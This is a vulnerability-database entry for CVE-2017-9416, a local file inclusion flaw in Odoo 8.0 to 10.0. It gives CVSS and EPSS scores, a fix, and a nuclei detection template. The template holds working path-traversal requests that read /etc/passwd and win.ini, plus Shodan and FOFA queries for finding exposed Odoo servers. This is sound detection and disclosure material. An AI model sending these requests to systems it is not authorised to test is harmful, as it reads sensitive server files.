HexBrain

Browse / CVEs / CVE-2017-9416

CVE-2017-9416· odoo / odoo· CWE-22

Odoo 8.0/9.0/10.0 - Local File Inclusion

mediumseverity
6.5CVSS score
5.7%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Odoo 8.0, 9.0, and 10.0 are susceptible to local file inclusion via tools.file_open. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Allows an attacker to read arbitrary files on the server.

Fix

Upgrade to a patched version of Odoo or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/base_import/static/c:/windows/win.ini ; GET {{BaseURL}}/base_import/static/etc/passwd
Positive when: regex('root:.*:0:0:', body) and status_code == 200 OR contains(body, 'bit app support') and contains(body, 'fonts') and contains(body, 'extensions') and status_code == 200

Run it with nuclei: nuclei -id CVE-2017-9416 -u <target>

The full check
id: CVE-2017-9416

info:
  name: Odoo 8.0/9.0/10.0 - Local File Inclusion
  author: Co5mos
  severity: medium
  description: |
    Odoo 8.0, 9.0, and 10.0 are susceptible to local file inclusion via tools.file_open. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Allows an attacker to read arbitrary files on the server.
  remediation: |
    Upgrade to a patched version of Odoo or apply the necessary security patches.
  reference:
    - https://github.com/odoo/odoo/issues/17394
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9416
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2017-9416
    cwe-id: CWE-22
    epss-score: 0.05651
    epss-percentile: 0.93031
    cpe: cpe:2.3:a:odoo:odoo:8.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: odoo
    product: odoo
    shodan-query:
      - cpe:"cpe:2.3:a:odoo:odoo"
      - http.title:"odoo"
    fofa-query: title="odoo"
    google-query: intitle:"odoo"
  tags: cve2017,cve,odoo,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
      - "{{BaseURL}}/base_import/static/etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from